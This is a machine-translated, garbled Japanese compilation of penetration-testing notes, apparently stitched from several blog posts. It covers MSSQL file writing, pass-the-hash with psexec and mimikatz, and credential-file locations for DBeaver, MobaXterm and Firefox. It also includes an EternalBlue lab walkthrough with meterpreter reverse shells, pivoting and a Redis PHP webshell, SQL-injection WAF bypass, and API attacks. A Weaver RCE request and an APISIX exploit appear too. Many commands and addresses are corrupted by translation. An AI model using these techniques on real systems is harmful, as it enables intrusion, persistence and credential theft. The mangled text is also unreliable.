MSSQLのユーザーパスワード、Certutil、およびその他のツールが傍受または警戒されることが知られています。 MSSQLが提供するツールを使用して、ハードディスクに書き込みます。

ここで、ストアドプロシージャ:を開きます

SP_CONFIGURE 'Advanced Optionsを表示'、1;

行く

再構成;

行く

SP_CONFIGURE 'OLE Automation Procedures'、1;

行く

再構成;

mssqlは大きなファイルを書き込みます

たとえば、exeおよびその他のものが最初にhexに変換され、次に:ファイルに書き込まれます

xxd -plain /tmp/test.exe | tr -d '\ n' /tmp/dll.hex

@hexstring varchar(max)を宣言します。

@hexstring='変換後のhexを設定します';

@file varbinary(max)を宣言します。

@file=(select cast( '' as xml).value( 'xs:hexbinary(sql:variable(' @hexstring ')、sql:column(' t.pos ')))'、 '' varbinary(max) ')

from(select searce substring(@hexstring、1、2)の場合、 '0x' 'then 3 else 0 end)as t(pos));

@fileを選択します;

@init intを宣言;

@filepath nvarchar(4000)=n'c: \ 22.exe ';

exec sp_oacreate 'adodb.stream'、@init output; - 作成されたインスタンス

exec sp_oasetproperty @init、 'type'、1;

exec sp_oamethod @init、 'open'; - メソッドを呼び出します

exec sp_oamethod @init、 'write'、null、@file; - メソッドを呼び出します

exec sp_oamethod @init、 'savetofile'、null、 @filepath、2; - メソッドを呼び出します

exec sp_oamethod @init、 'close'; - メソッドを呼び出します

exec sp_oadestroy @init; - リソース

4.MSSQLバックアップ

バックアップデータベースDBを閉じました

Disk='C: \ Windows \ temp \ db.bak'圧縮、init、stats=5;ボリューム圧縮rar.exe a -m0 -v100m c: \ windows \ temp \ db.split c: \ windows \ tasks \ db.bak

c: \\ windows \ temp \\ db.split.rar /var /tmp /

6.pth

wmiwmic /node:192.168.158 /user3:pt007 /password:ADMIN123プロセスコールの作成コールの作成'CMD.EXE /C ipconfigd: \ result.txt 'wmiexec.vbs:を使用することをお勧めします

https://github.com/l3m0n/pentest_study/blob/master/tools/wmiexec.vbs

cscript C: \ windows \ tasks \ aliwmi.vbs/cmd ip 'c: \ windows \ system32 \ calc.exe'msfuse exploit/windows/smb/psexec

オプションを表示します

RHOST 192.168.81.129を設定します

SMBPASS 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BFを設定します

SMBUSER管理者を設定します

オプションを表示します

runmimikatz || Cobalt strikemimikatz.exe特権:Debug 'sekurlsa:pth /domain: /user3360administrator /ntlm:2d20d252a479f485cdf5e171d93985bf /run:cmd.exe '//pass hashpsexecpsecec /accepteula //

sc delete psexesvc

PSEXEC \\ 192.168.1.185 -U PT007 -P Admin123 CMD.Exe

psexec.vbscscript psexec.vbs 192.168.1.158 pt007 admin123 'ipconfig'リモートコマンド実行scnet seve \\ 192.168.17.138 \ c $ 'admin123' /user:pt007

正味使用

dir \\ 192.168.17.138 \ c $

Test.exe \\ 192.168.17.138 \ c $をコピーします

sc \\ 192.168.17.138 Create test binpath='c: \ test.exe'

sc \\ 192.168.17.138テスト開始

Sc \\ 192.168.17.138 Del Test

Windows :https://xz.aliyun.com/t/5957でCMDをリモートで実行する9つの方法

0x03アクセスは拒否されます

RID 500ではないコンピューターでは、使用されるトークンは、WMI、PSEXEC、またはその他の方法を使用するかどうかにかかわらず、中程度のトークンです。 wmiexecを使用する場合、アクセスが拒否されることが修正されます

ハッシュをrawったとき、レジストリを変更することができ、すべてのローカル管理者グループメンバーが持続の手段としてリモートで接続できるようにします。

Reg add hklm \ software \ microsoft \ windows \ currentversion \ policies \ system /v localaccounttokenfilterpolicy /t reg_dword /d 1 /f ### rdp's pth

クロールハッシュをクラックできない場合、ハッシュを使用してRDPにリモートでログインすると、「制限された管理モード」を有効にするためにログインしているシステムが必要になります。 Windows 7およびWinserver 2008には、2871997と2973351プディングの設置が必要です。

1。 RDPを開始

reg 'hklm \ system \ currentControlset \ control \ターミナルサーバー' /v fdenytsconnections /t reg_dword /d 00000000 /f

reg add 'hkey_local_machine \ system \ currentControlset \ control \ Terminal Server \ Winstations \ rdp-tcp' /v portnumber /t reg_dword /d0x00000d3d /f#ポート3389を聞いてください

3389をオンにします

wmic /namespace: \\ root \ cimv2 \ emerinalservices path win32_terminalservicesetting where(__class!='')call setallowtsconnections 1

2。制限付き管理モードをオンにします

reg reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disable-sustricedadmin /t reg_dword /d 00000000 /f 010-10 #### dbeaver

dbeaver6構成ファイル(ストレージの場所と復号化方法は、バージョンによって異なります):

#PassWord暗号化されたストレージ場所:

c: \ users \ user \ appdata \ roaming \ dbeaverdata \ workspace6 \ general \ .dbeaver \ curdentiences-config.json

#URLおよびユーザー名:

c: \ uses \ user \ appdata \ roaming \ dbeaverdata \ workspace6 \ general \ .dbeaver \ data-sources.json Decryption script:https://gist.github.com/felipou/50b60309f9f9b70b1e28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd28fd8e

資格情報をダウンロードした後、pythonを使用して:python decrypt.py credentivelys-config.jsonを復号化し、次に、復号化されたIDに基づいて、Data-Sources.jsonの対応するIPとユーザー名を検索します。

パスワードの古いバージョンは、C: \ users \ users \ .dbeaver4 \ general \ .dbeaver-data-source.xmlに保存されています。http://DBEAVER-PASSWORD-DECRYPTER.S3-WEBSITE-US-WEST-2.AMAZONAWS.COM/を使用して、オンライン復号化を直接使用できます。

3。ファイアウォールルールを追加

対応するIP情報とプライベートキーアドレスを備えた.iniファイルがあります

ストレージの古いバージョン: C: \ users%username%\ appdata \ roaming \ mobaxterm

2020バージョン: c: \ users%username%\ documents \ mobaxterm

0x04ダンプパスワード

Windowsの下の構成ファイルはこの場所にあります:

%appdata%\ code \ user \ settings.jsonは、構成ファイルに基づいてメモやSSHなどのストレージ場所を見つけることができます

0x05 MOBAXTEM

マスターサンハオはそれをとても言った、私はfirepwd.py:を使用することを選んだ

Firefox構成ファイルディレクトリ:

%AppData%\ Mozilla \ firefox \ profiles \

ネットワーク構成

外部ネットワークWIN7:IP1: 192.168.127.91/255.255.255.0、GW:192.168.127.2(NATモード)IP2:1010.0.0.20.98-VMNET1(ホストモード)ドメインホストモード:10.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0。のみ)10.0.10.111-VMNET2(ホストモードのみ)ドメイン制御:10.0.10.110-VMNET2(ホストモードのみ)パスワード構成:Win7:Win7/Adminwin2016:administrator/admin@123、 ARP-SCAN -L同じネットワークセグメント1049983-20221213191711513-1626284435.pngの存続ホストをスキャンしている生存ホスト:192.168.127.91ポートをスキャンして、生き残ったターゲットマシンのIPアドレスをスキャンします

NMAP -SC -T4 192.168.127.91 1049983-20221213191712192-145196284.pngターゲットシステムがWin7であり、445ポートが開いていることを発見しました。 Eternal Blue(MS17-010)を使用してターゲットシステム

情報収集

にヒットしてみてください

イントラネットホストの浸透

KALIにコマンドを入力:MSFConsoleMSF 6検索17-010MSF 6使用ペイロードWindows/X64/MeterPreter/Reverse_TCPMSF 6 SET LPORT 66666MSF 6セットLHOST 192.18.129.127.127.127.127.127.127.127. 192.168.127.91msf 6 Run 1049983-20221213191712956-1029759909.pngMeterPreterShellc: \ Windows \ System32IpConfig 1049983-20221213191713593-1283889188.png私はいくつかの文字化けコードを見つけたので、C: \ Windows \ System32CHCP 65001#65001#65001#65001#65001#65001#65001 c: \ windows \ system32ipconfig#iは2つのネットワークセグメントを見つけました。1つは192.168.127ネットワークセグメント、もう1つは10.0.20ネットワークセグメント1049983-20221213191714161-1094728529.pngC: \ Windows \ System32Whomai 1049983-20221213191714702-252348703.pngC: \ windows \ system32tasklist/svc#view#view system in system 1049983-20221213191715346-1589597284.pngc3: \ windows \ system32exit #exit shellコマンド末端1049983-20221213191715906-298369840.pngmeterleterloadoload loadoload loadoload loadoload load load load loadoload MeterPreterCreds_All#すべての現在のユーザーのログイン資格情報をゲットし、ユーザー名がWin7であり、パスワードは管理者1049983-20221213191716474-911388489.png

010-10ダイレクトアクセス、3http://192.168.127.91 oa。現在のバージョンは11.33http://192.168.127.91/inc/inc/expired.php 1049983-20221213191717943-640772642.png Tongdaの検索11.3既存のファイルには検索エンジンを介した脆弱性が含まれています:https://blog.csdn.net/hackzkaq/article/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/details/11590000 1049983-20221213191718577-2099848132.png Ant Sword 1049983-20221213191719216-2051261566.png 1049983-20221213191719873-1907814987.pngを使用して正常に接続すると、Ant Swordのコマンドターミナルの下で現在のユーザーをシステム許可に表示する許可は、1049983-20221213191720452-937084830.png

Web浸透

がシェルが移住している場合に依然として壊れている場合に依存しているときに、シェルが発生します。ディスクへの書き込み操作のないターゲットマシンの安定したプロセスにより、浸透が検出がより困難になります。

自動移行プロセスコマンド(post/windows/manage/magrateの実行)の後、システムは自動的に適切なプロセスを見つけてから、メータープレターを移行してから、1080のspoolsv.exeからspoolsv.exeを管理/移行します。1049983-20221213191721606-1086021725.pngADDダイナミックルートメータープレーターはAutoroute -S 10.0.20.0/24またはMeterPreter BackgroundMeterPreter Sessionsmsf6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)を使用します。 1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN 1049983-20221213191722153-1006008758.pngMETERPRETERバックグラウンド1049983-20221213191722667-1892001697.png生き残ったホストMSF6エクスポロイトを発見(Windows/SMB/MS17_010_ETERNALBLUE) Exploit(Windows/SMB/MS17_010_ETERNALBLUE)セッションセッション1MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)SET RHOSTS 10.0.20.1-254MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)RUN 1049983-20221213191723297-1260029520.png Survive host.20.9 SOCKS5 Proxy MSF6 Exploit(Windows/SMB/MS17_010_ETERNALBLUE)使用補助/サーバー/SOCKS_PROXYMSF6 AUXILIARY(SERVER/SOCKS_PROXY)1049983-20221213191723930-1794879283.png 1049983-20221213191724427-2109448838.pngポートスカンシングを修正する必要があります。構成ファイル

VIM /TC/PROXYCHAINS4.CONFSOCKS5 127.0.0.1 1080スキャンNMAPプロキシチェーンを介してターゲットIPの一般的に使用されるポートをスキャンNMAP -ST -PN 10.0.20.99 -P22,23,80,139,445,1433,3306,3389,6379 1049983-20221213191725085-1001411680.pngは、10.0.20.99のホストがポート6379および80に開かれていることを発見しました。ここには、ローカルソックス5プロキシサービスプロキシアソフトウェア1049983-20221213191725785-1588524664.pngがDirsearchをスキャンし、ターゲットがPHPINFO.PHPセンシティページを持っていることを発見しました。 200,302 - Format CSV -O C: \ Users \ backlion \ Desktop \ dirsearch-master \ xxx.com.csvまたは攻撃機の下でプロキシチェインを実行するか、kali python dirsearch.py -u http://10.0.0.20.99 -i -Proxy=Socks5: //127.0.0.1:1080 -T 5 1049983-20221213191726385-1294028240.png PHPINFO.PHPページにアクセスして、ウェブサイトの絶対パスが公開されていることを確認してください:C:/PHPSTUDY/PHPTUORIAL/WWW/333333333810.0.0.PHPT.0.PHPT.0.0.PHPTURE 1049983-20221213191727081-1201665938.png

http://10.0.20.99/l.php 1049983-20221213191727770-861141790.png 010-10 Redis-Cli Command Proxychains Redis-Cli -H 10.0.20.99を介したパスワードなしのリモート接続'c:/phpstudy/phptutorial/www/' #switchシェル10.0.20.20.99:606379セットx '\ n \ n \ n?php @eval($ _ post [' x ']); 10.0.20.99:6379 Config set dbfileName shell.php#ファイル名をshell.php10.0.0.20.993:6379 Save 1049983-20221213191728929-503785144.pngここに、地元のホストのAnt Swordを介したプロキシです。1049983-20221213191730770-72949433.pngView現在のユーザーの許可はシステム1049983-20221213191731393-709923329.png

ハンドアロンの浸透

フォワードシェルコデムスフヴェンム-P Windows/x64/meterpreter/bind_tcp lport=3333 -f exe shell.exe 1049983-20221213191732625-154911111.pngを実行して、リスナーを構成します

Exploit/Multi/Handlerset Payload Windows/x64/meterpreter/bind_tcpset lport 33333set rhost 10.0.20.99run 31049983-20221213191733277-1105419620.png Firewall netsh firewalsetopmodemode=disable 010-69556 run shell.exe in the Antable同じネットワークセグメントホストMeterPreter ARP 1049983-20221213191735076-285032627.pngスキャン10.0.10.110ネットワークセグメント移行プロセスRun Post/Windows/Manage/Migrate

一部の友人は、グループでのSQL注射の問題に遭遇することがよくあります。時々WAFがあり、時には盲目で、時には始める方法がわからないこともありますか?今日はスーパーインジェクションツールの名前とツールを共有しています

住所をダウンロード:https://github.com/shack2/supersqlinicturev1

ケース1: WAFを使用したブラインドノート

qlicmp4hmuz3500.png

以下の図に示すように、単一の引用は報告されたエラーを報告し、エラーはエコーします。この状況は、典型的なブールブラインドノートです。 1=1またはまたは1=1などのステートメントを作成できる限り、データを作成できます。

agpjxmg1cnq3501.png

以下はMySQLデータベースです。これは、通常、Booleanを注入する機能の場合に使用されるために使用されます。 WAFは通常、単一のif()をブロックしませんが、if(1,1,1)のようなif(1,1,1)をブロックします。ブロックされている場合は、1を11〜10、2で12-10に置き換えることができます。

hqfpejb4m1j3502.png

5fifeua5xwi3503.png

次に、スーパーインジェクションツールにシャトルを使用してください。

bopkbocfn2z3504.png

WAFルールをバイパスすることは次のとおりです。比較的簡単です

g1ppotqtf4q3505.png

ケース2:

ケース1で構築されたものは、スーパーインジェクションツールのページで返されるコンテンツを識別し、1=1の正しいページフィールドと1=2の間違ったページのフィールドを決定することです。通常のツールは注入点を認識できないため、フィールドを指定し、ツールにブールインジェクションの基礎を与える必要があります!

別の例を見てみましょう。私が意味することを理解できることを願っています。

次の図はまだmysqlであり、ifを正常に構築する

ruyctvy1usu3506.png

zffinicjro33507.png

メッセージはスーパーインジェクションツールに貼り付けられます。このツールは、ブラインドベットをテストするときに1=1および1=2のみをテストします。したがって、ifの最初の位置でペイロードを設定し、右下隅のボックスを見て、正しいページのエコー値が識別されました。その後、データが出てきます!

ppmv14xyhgc3508.png

ケース3:

これがMSSQLタイプです、

つまり、SQL-SERVER。サイトにはWAFがあります。インターセプトせずにテストまたは1=1および1=2。 1=1を使用して、データパケットを作成します。 SQLインジェクションツールは、ブール値を認識できます。

uy4br54tnpp3509.png

次に、データのブレーンストーミングはありません。

s2g5vtwgn1r3510.png

元の接続:https://mp.weixin.qq.com/s/jrv1zljz3ibtlorcxwdo-q

必要性

フロントエンドの分離は、Webで大きな傾向になりました。 Tomcat+ngnixを介して効果的に分離することができます(中央にnode.jsもある場合があります)。さらに、フロントエンドとバックエンドの分離は、将来の大規模な分散アーキテクチャ、弾性コンピューティングアーキテクチャ、マイクロサービスアーキテクチャ、およびマルチターミナルサービス(ブラウザー、ビーチクルターミナル、Android、IOSなど)の複数のクライアント)の強固な基盤を築きます。 APIは、フロントエンドコミュニケーションの責任を引き受けます。したがって、APIセキュリティを学習する必要があります。

この記事のアイデアは、APIのいくつかの一般的な攻撃表面を要約することです。著者はまだこの領域を学んでいます。間違いがあれば、あなたがそれを修正できることを願っています。

一般的なAPIテクノロジー

graphql

GraphQlは、APIのクエリ言語です

通常、次の特性があります。

(1)データパケットは /graphqlインターフェイス1049983-20230129135917968-89120057.pngに送信されます

(2)多くの新しい文字が含まれています\ n

{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} Webサービスの説明を、クライアントがドキュメント情報またはプロセスコールを含むサービスにアクセスできるサービスアクセスポイントのセットとして定義します。 SOAPプロトコルが使用され、通常はXML形式のデータが送信され、WSDLファイル1049983-20230129135918652-993812695.pngがあります

.netのcommon.asmxファイルもwsdl形式xxx.asmx?wsdl 1049983-20230129135919449-1509316087.pngを持っています

Soapuiを使用して、このタイプのAPIをテストできます

soap-wsdl

ファイルに非常に明白なWADLロゴがあります

1049983-20230129135920363-2085092611.png

SoapuiのREST機能をテストに使用することもできます

1049983-20230129135921297-1009304781.png

wadl

REST APIは以前のものほど明白ではなく、最近最も一般的に使用されているAPIテクノロジーでもあります

RESTは、プロトコルや標準ではなく、建築仕様のセットです。 API開発者は、さまざまな方法でRESTを実装できます。

クライアントがRESTFUL APIを介してリクエストを行うと、リソースステートメントをリクエスターまたは端末に渡します。この情報または式は、JSON(JavaScriptオブジェクト表記)、HTML、XLT、Python、PHP、またはプレーンテキストのいずれかの形式のいずれかでHTTPを介して送信されます。 JSONは、最も一般的に使用されるプログラミング言語です。元の英語名は「JavaScriptオブジェクト表記」を意味しますが、さまざまな言語に適しており、人間と機械の両方で読むことができます。

注意すべきことがいくつかあります。ヘッダーとパラメーターは、リクエストされたメタデータ、承認、統一リソース識別子(URI)、キャッシュ、Cookieなどの重要な識別情報が含まれているため、RESTFUL API HTTP要求のHTTPメソッドでも重要です。リクエストヘッダーと応答ヘッダーがあり、それぞれに独自のHTTP接続情報とステータスコードがあります。

休息

APIのセキュリティテストについては、通常、APIの許可問題、APIエンドポイントのセキュリティ問題、インフラストラクチャに焦点を当てています。

APIエンドポイントのセキュリティ問題をテストするには、できるだけ多くのAPIエンドポイントを取得しようとする必要があります

エンドポイントを取得する方法

Swaggerは、RestfulスタイルのWebサービスを生成、説明、呼び出し、視覚化するための標準化された完全なフレームワークです

一般的な指紋:

#swagger 2

/swagger-ui.html

/API-DOCS

/v2/api-docs

#swagger 3

/swagger-ui/index.html

1049983-20230129135922103-1944238266.png

/API-DOCS

/v2/api-docs

/v3/api-docs

.

API-DOCは、すべてのエンドポイント情報1049983-20230129135922819-1063074218.pngを表示できます

テスト用の2つのツールを次に示します

最初のものはSwagger-Editorです

https://github.com/swagger-api/swagger-editor

ダウンロード後、index.htmlを開くことで使用できます。 URLをインポートまたはリモートロードすることを選択できます。 JSONおよびYAML形式のAPI-DOCをサポートします。

2つ目はapikit3https://github.com/api-security/apikitです

バーププラグイン1049983-20230129135924555-102219345.png

swagger api-docsリーク

すべてのエンドポイント情報を取得します

https://mp.weixin.qq.com/s/gp2jgrlpllsh5xn7vn9bwq

{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} 1049983-20230129135925462-2091935808.png

これを使用して、インターフェイスドキュメントを生成できます。

https://github.com/2fd/graphdoc

nodejs test.jsonが必要なのは、内省的クエリによって返されるJSON形式のデータです

NPMインストール-G @2FD/GraphDoc

graphdoc -s ./test.json -o ./doc/schema

次に、生成された/doc/index.html 1049983-20230129135926397-616747756.pngを開きます

彼のフォーマット1049983-20230129135927015-1949031907.png 1049983-20230129135927700-609525478.pngに従ってデータパケットを構築するだけです

graphql内省的クエリ

ブラックボックステストでは、APIエンドポイントが完全には見つからないことです。対応するアプリケーションまたは他の側面からそれらを探す必要があります。

(1)Web

JS HTMLなどの静的リソースには、いくつかのAPIエンドポイントを持つことができます

バーププラグインJS Linkfinderは受動的に収集できます

(2)アプリおよびその他のクライアントアプリケーション

(3)github

(4)ルールのファズによると

その他

認証方法

APIが要求されるたびにユーザーのユーザー名とパスワードを提供する

通常、HTTPパケットに認証ヘッダーがあります

Authorization: Basic Base64(username:password)

これは安全性が比較的低く、現在はめったに使用されていません

基本的な認証

JWT(JSON Webトークン)は、トークンベースの認証と認証メカニズムです

3つの部分に分かれています

Header:は、JWTのメタデータを説明し、署名を生成するためのアルゴリズムとトークンのタイプを定義します。 Payload:は、継続する必要があるデータを保存するために使用されます。サーバーは、JWTが計算方法暗号化アルゴリズム(base64(header) + ')、1049983-20230129135928401-1047672463.pngの計算方法の改ざんを防ぐために、ヘッダーで指定された署名アルゴリズム(デフォルトはhmac sha256)を使用します。

オンラインテストhttps://jwt.io/1049983-20230129135929184-1826635181.png

通常のトークンには、バックエンドストレージとユーザーの間に対応する関係が必要ですが、JWTは対応する関係自体を運びます

jwt

Apikeyやランダムに生成された他の形式のトークン

その他のカスタムヘッダー、Cookie

一般的な安全性の問題とテスト方法

APIゲートウェイは、クライアントとマイクロサービスの間に構築されたサービスです。許可確認、監視、キャッシュ、リクエストルーティングなど、APIゲートウェイのいくつかの非ビジネス機能ロジックを処理できます。

APIゲートウェイは、マイクロサービスシステム全体のファサードのようなもので、システムの唯一の入り口です。これにより、クライアントは最初にAPIゲートウェイにリクエストを送信し、次にAPIゲートウェイが要求された識別情報に基づいてマイクロサービスインスタンスにリクエストを転送します。1049983-20230129135929803-1056153117.png

APIゲートウェイ

Apache Apisixは、Apache Software Foundationの下にあるCloud-Native API Gatewayです。ダイナミック、リアルタイム、および高性能の機能を組み合わせて、ロードバランス、ダイナミックアップストリーム、グレースケールリリース(カナリアリリース)、サービスサーキットブレーカー、アイデンティティ認証、観測性などの豊富な交通管理機能を提供します。同時に、K8Sイングレスコントローラーとしてもサポートされています。 Apisixは以前にコマンド実行の脆弱性CVE-2022-24112を公開しました(現在の最新バージョンは3.0)

衝撃の範囲:

Apache Apisix 1.3〜2.12.1の間のすべてのバージョン(2.12.1を除く)

Apache Apisix 2.10.0〜2.10.4 LTS間のすべてのバージョン(2.10.4を除く)は脆弱性環境を構築します

git clone https://github.com/twseptian/cve-2022-24112 ## get dockerfileを入手してください

CD CVE-2022-24112/apisix-docker/example/##対応するディレクトリを入力します

docker -compose -p docker -apisix up -d ## dockerに基づいてすべてのapisixサービス利用条件を開始

Batch-Requestsプラグインはデフォルトで有効になります。

ユーザーは、Apache Apisixデフォルトの構成を使用します(管理者APIを有効にし、デフォルトの管理キーを使用し、追加の管理ポートが割り当てられていません)。攻撃者は、Batch-Requestsプラグインを介して管理者APIを呼び出すことができます。アイデアを攻撃します

1.バッチリクエストプラグインの脆弱性を使用して、バイパス要求ヘッダー検出をバイパスします。

2。要求ヘッダーを偽造して、管理者APIにルートを登録します。

3.ルートを登録すると、パラメーターFilter_FUNCがLUAコードを渡し、リモートコード実行の脆弱性Expを引き起こします。

https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

特定のアプリケーションには、バックグラウンドRCEがあります。関連情報によると、バックグラウンド監査プロセスでNewinstanceインスタンス化への呼びかけが見つかりました。

1049983-20221230170129034-671147105.jpg

ソースをトレースし、interfacere -gistercustomoperationcmd #excuteを見つけます

1049983-20221230170129956-1020521781.jpg 1049983-20221230170130646-385254389.jpg 1049983-20221230170131290-137097182.jpg 1049983-20221230170131980-1777197742.jpgアクセスパスは/API/Integration/Workflowflow/GetInterfacereGisterCustomoperationです

GetInterFacereGisterCustomoperation Calluteを実行し、最初にユーザーを審査するため、ここにはバックグラウンドの脆弱性があります

1049983-20221230170132700-2106793641.jpg

この汚染関数javacodetoobjectが必要なので、ifの条件を満たし、var18とvar20を制御する必要があります

1049983-20221230170133379-129851401.jpg

ここでは、var14を追加する必要があります

1049983-20221230170134013-1295699688.jpg

var14の値は、postメソッドが前に指定されているため、リクエストパラメーターメソッドから取得されるため、ここでメソッド=add

1049983-20221230170134726-485666733.jpg

判断を下した後、VAR15の値は空の場合に返されるため、ActionIDの値は空になりません。上記の条件と組み合わせると、method=addactionId=1

1049983-20221230170135481-1496417566.jpg

VAR18の開始がweaver.interfaces.workflow.action.javacode.actionが次の判断を入力して、例外をスローする場合、望ましい結果を達成できません。ここでclassname=weaver.interfaces.workflow.action.javacode.action、上記のパラメーターmethod=addactionid=1classname=weaver.interfaces.workflow.action.javacode.action

1049983-20221230170136238-102379160.jpg

次のVAR20値はJavacodeパラメーターから取得され、上記のペイロード方法=addactionId=1classname=weaver.interfaces.workflow.action.javacode.actionjavacode=

1049983-20221230170136847-546769203.jpg

var18にweaver.interfaces.workflow.action.javacodeが含まれている場合、javacodetoo objectコールに必要な場合、classname=weaver.interfaces.workflow.action.javacode.action.interfaces.workflow.action.action.javacode.actionが接続に使用されます。それ以外の場合、読み込み例外が報告されます。

1049983-20221230170137504-33586078.jpg

上記の条件によると、VAR18およびVAR20の条件は満たされています。構築されたvar20のパラメーターはjavacode=package weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacodeです。 java.io.ioexceptionをインポートします。 public class test {static {try {runtime.getRuntime()。exec( 'calc.exe'); } catch(ioexception e){e.printstacktrace(); }}}ここで、コマンドによって実行されたコードは、静的コードブロックに配置されます。これは、staticのコードがインスタンス化中に自動的に実行され、コマンドの実行が達成されるためです。

1049983-20221230170138280-888687245.jpg

実際のパッケージは正常に使用されていないようです。コードを振り返って、パラメーターがdtinfo_customparameterdataに紛失したことがわかりました

POST/API/Integration/Workflowflow/getInterFacereGisterCustomoperation HTTP/1.1

host:

アップグレード-Insecure-Requests: 1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/105.0.0.0 safari/537.36 EDG/105.0.0.1343.3333333333333333333333333

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: ecology_jsessionid=aaa8g6prbnnbd82yi6fky; jSessionId=aaa8g6prbnnbd82yi6fky; __randcode __=D2FA15E2-395E-4B3B-A004-82FC07C18695; loginidweaver=1; LanguageIdWeaver=7; loginuuids=1

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 548

メソッド=addactionId=1classname=weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacode.testdtinfo_customparameterdata=11javacode=package weaver.interfaces.workflow.action.javacode.weaver.weaver.weaver.weaver.weaver.caction.wevever.weaver.caction.wever.weaver.cact

java.io.ioexceptionをインポートします。

パブリッククラステスト{

static {

試す {

runtime.getRuntime()。exec( 'calc.exe');

} catch(ioException e){

e.printstacktrace();

}

}

}

1049983-20221230170139043-1135092367.png

転載:https://xz.aliyun.com/t/11947

プルアイテム

最初にGitHubからサーバーにクローンを作成します。

git clone https://github.com/ki9mu/arl-plus-cocker/file

構成ファイルを変更

ARLには構成ファイルにブラックリストがあるため、プロジェクトがGOVまたはEDUなどがスキャンできない場合があるため、ここで構成ファイルを変更すると制限を引き上げることができます。

CD arl-plus-docker/

vi config-docker.yamlここでブラックリストのいくつかのアイテムを削除するだけです

file

変更後:

file

RiskIQおよびFOFA APIを追加および変更します

1049983-20221208103845056-23542144.png

OneForAllモジュールは拡張バージョンに追加されるため、クローンのデフォルトコードがフレーズであるため、構成ファイルで開く必要があります。ここではTTUEでオンにするスイッチを交換できます。

VI OneForall-Config/Setting.py file

変更後:

file

構成ファイルに変更したら、Dockerを開始します。最初にボリュームを追加し、次にDocker -Compose Up -Dを直接開始できます。画像を引くときに非常に遅い場合は、Dockerソースを変更できます。

DockerボリュームCREATE -NAME=ARL_DB

Docker-Compose Up -D file

完了の行が表示されると、成功していることを意味します。この時点では、Pythonスクリプトにブラックリストもあるため、Pythonコードを変更するためにコンテナを入力する必要があります。最初にDocker PSを使用してコンテナIDを確認し、このコンテナを変更して編集するためにVIを使用します。

Docker PS #ViewコンテナID

docker exec -it対応するID bash

